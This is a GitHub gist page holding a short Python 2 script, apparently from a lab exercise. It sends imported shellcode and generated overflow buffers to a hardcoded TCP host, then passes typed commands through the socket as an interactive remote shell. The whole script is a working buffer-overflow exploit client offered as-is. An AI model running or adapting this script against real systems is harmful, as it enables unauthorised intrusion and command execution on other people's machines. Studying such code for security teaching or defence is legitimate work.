Last active
December 7, 2016 14:09
-
-
Save benallamar/9d79a9e2887e2aa69394364ab3a9cbe8 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*-coding: utf-8 -*- | |
import socket | |
import sys | |
import time | |
from buffer_generator import BufferGenerator, SHELL_CODE | |
TCP_IP = "192.168.2.7" | |
TCP_PORT = int(sys.argv[1]) | |
# Il faut charger l'attaque sur un autre ordinateur | |
MESSAGE = b"" | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((TCP_IP, TCP_PORT)) | |
gener_buffer = BufferGenerator() | |
for _buffer in gener_buffer: | |
#We charge the shell code | |
MESSAGE += SHELL_CODE | |
#We set the buffer that we want to attack | |
MESSAGE += _buffer | |
#We close every thing | |
MESSAGE += "\x0a" | |
MESSAGE += b"\n" | |
s.send(MESSAGE) | |
cmd = raw_input("$>") | |
s.send(cmd+"\n") | |
data = s.recv(9000) | |
# We parse the received data and after we analyse the rest | |
print str(data) | |
#time.sleep(6) | |
#print b""+_buffer | |
s.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment